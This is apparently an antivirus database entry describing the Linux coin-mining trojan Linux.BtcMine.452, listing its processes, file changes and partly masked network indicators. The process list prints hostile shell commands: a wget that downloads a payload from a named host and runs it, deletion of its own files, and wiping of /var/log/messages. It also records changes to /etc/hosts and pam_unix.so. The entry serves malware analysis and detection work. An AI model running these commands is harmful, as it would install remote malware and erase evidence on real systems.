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Linux.BtcMine.452

Added to the Dr.Web virus database: 2020-10-11

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Launches processes:
  • sh -c md5sum /usr/bin/pamdicks
  • md5sum /usr/bin/pamdicks
  • sh -c wget -c http://a.powerofwish.com/up-sugar -O /var/lib/up && chmod 755 /var/lib/up && /var/lib/up
  • wget -c http://a.powerofwish.com/up-sugar -O /var/lib/up
  • chmod 755 /var/lib/up
  • /var/lib/up
  • sh -c rm -f /usr/bin/pamdicks 1> /dev/null 2>&1
  • rm -f /usr/bin/pamdicks
  • sh -c rm -f /usr/bin/pamdicks.org 1> /dev/null 2>&1
  • rm -f /usr/bin/pamdicks.org
  • sh -c rm -f /usr/bin/pamdicks.org1 1> /dev/null 2>&1
  • rm -f /usr/bin/pamdicks.org1
  • sh -c rm -f /usr/bin/pamdicks.org2 1> /dev/null 2>&1
  • rm -f /usr/bin/pamdicks.org2
  • sh -c rm -rf /tmp/up 1> /dev/null 2>&1
  • rm -rf /tmp/up
  • sh -c rm -rf /var/lib//up 1> /dev/null 2>&1
  • rm -rf /var/lib//up
  • sh -c /usr/bin/pamdicks
  • /usr/bin/pamdicks
  • sh -c rm -f /etc/hosts.old
  • rm -f /etc/hosts.old
  • sh -c echo > /var/log/messages
  • sh -c rm -rf /tmp/chkmem 1> /dev/null 2>&1
  • rm -rf /tmp/chkmem
  • sh -c rm -rf /var/lib/chkmem 1> /dev/null 2>&1
  • rm -rf /var/lib/chkmem
Performs operations with the file system:
Modifies file access rights:
  • /var/lib/up
  • /usr/bin/pamdicks
  • /usr/bin/pamdicks.org
  • /usr/bin/pamdicks.org1
  • /usr/bin/pamdicks.org2
Creates or modifies files:
  • /var/lib/up
  • /usr/bin/pamdicks
  • /usr/bin/pamdicks.org
  • /usr/bin/pamdicks.org1
  • /usr/bin/pamdicks.org2
  • /etc/hosts
  • /lib/x86_64-linux-gnu/security/pam_unix.so
  • /var/run/bioset
  • /run/bioset
  • /var/log/messages
Deletes files:
  • /usr/bin/pamdicks
  • /usr/bin/pamdicks.org
  • /usr/bin/pamdicks.org1
  • /usr/bin/pamdicks.org2
  • /tmp/up
  • /var/lib//up
  • /etc/hosts.old
  • /tmp/chkmem
  • /var/lib/chkmem
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • [2#######0:3036::ac43:d2fb]:0
  • [2#######0:3036::681b:8039]:0
  • [2#######0:3035::681b:8139]:0
  • 10#.#7.129.57:0
  • 10#.#7.128.57:0
  • 17#.##.210.251:0
  • 39.###.233.58:3366
HTTP GET requests:
  • a.######fwish.com/up-sugar
DNS ASK:
  • a.####rofwish.com
  • po##.##uminerpool.com
  • su###.ss.dxpool.com
Sends data to the following servers:
  • 39.###.233.58:3366
Receives data from the following servers:
  • 39.###.233.58:3366

Curing recommendations


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